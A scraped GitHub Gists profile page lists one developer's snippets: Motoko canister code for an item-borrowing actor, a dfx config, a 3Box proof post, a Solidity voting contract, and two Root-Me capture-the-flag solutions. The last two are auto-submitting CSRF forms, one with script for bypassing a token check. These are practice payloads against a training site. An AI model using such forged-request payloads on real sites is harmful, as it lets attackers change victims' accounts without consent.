Skip to content

Instantly share code, notes, and snippets.

View anthonymq's full-sized avatar
💯

Anthony MARQUES anthonymq

💯
View GitHub Profile
@anthonymq
anthonymq / step1.mo
Last active July 29, 2021 14:23
CanisterUpgrade
import TrieMap "mo:base/TrieMap";
import Iter "mo:base/Iter";
import Nat32 "mo:base/Nat32";
import Debug "mo:base/Debug";
shared ({caller = initPrincipal}) actor class Example () {
public type State = {
db: TrieMap.TrieMap<Nat32, Card>;
};
func empty () : State {
{
...
public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> {
switch(inventory.get(itemId)) {
case null {
#err("Item with id " # Nat.toText(itemId) # " doesn't exit.");
};
case (?(item)) {
if(Option.isNull(item.borrower)) {
let itemBorrowed : Item = {
id=item.id;
...
public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> {
switch(inventory.get(itemId)) {
case null {
#err("Item with id " # Nat.toText(itemId) # " doesn't exit.");
};
case (?(item)) {
let itemBorrowed : Item = {
id=item.id;
name=item.name;
import Nat "mo:base/Nat";
import Hash "mo:base/Hash";
import HashMap "mo:base/HashMap";
import Array "mo:base/Array";
import Result "mo:base/Result";
actor Stock {
public type CreateItemDto = {
name: Text;
actor Stock {
public type CreateItemDto = {
name: Text;
description: Text;
};
public type Item = {
id: Nat;
name: Text;
description: Text;
borrower: ?Principal;
{
"canisters": {
"auth": {
"main": "src/backend/auth.mo",
"type": "motoko"
},
"stock": {
"main": "src/backend/stock.mo",
"type": "motoko"
},
@anthonymq
anthonymq / form.html
Last active August 6, 2023 18:17
Root me - CSRF - 0 protection
<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST" enctype="multipart/form-data">
<input type="text" name="username" value="test" />
<input type="checkbox" name="status" checked=checked />
<input type="submit" value="Submit request" />
</form>
<script>document.csrf.submit()</script>
@anthonymq
anthonymq / form.html
Last active October 16, 2020 14:17
Root me - CSRF - contournement de jeton
<form action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" name="csrf_form" enctype="multipart/form-data">
<input id="username" type="text" name="username" value="test">
<input id="status" type="checkbox" name="status" checked >
<input id="token" type="hidden" name="token" value="" />
<button type="submit">Submit</button>
</form>
<script>
// on force l'admin à générer un token
xhttp = new XMLHttpRequest();
This post links my 3Box profile to my Github account! Web3 social profiles by 3Box.
✅ did:3:bafyreifch72gmxmctd5hyl6yqxwiry66ybjcggahudxvxhromh53aczngq ✅
Create your profile today to start building social connection and trust online at https://3Box.io/
pragma solidity ^0.6.4;
contract EsensVoteDappHero {
struct Scrutin {
bytes32 name;
address scrutinOwner;
bool isVisibleResult;
bool isOpenToProposal;
bool isStartVoted;
uint counter;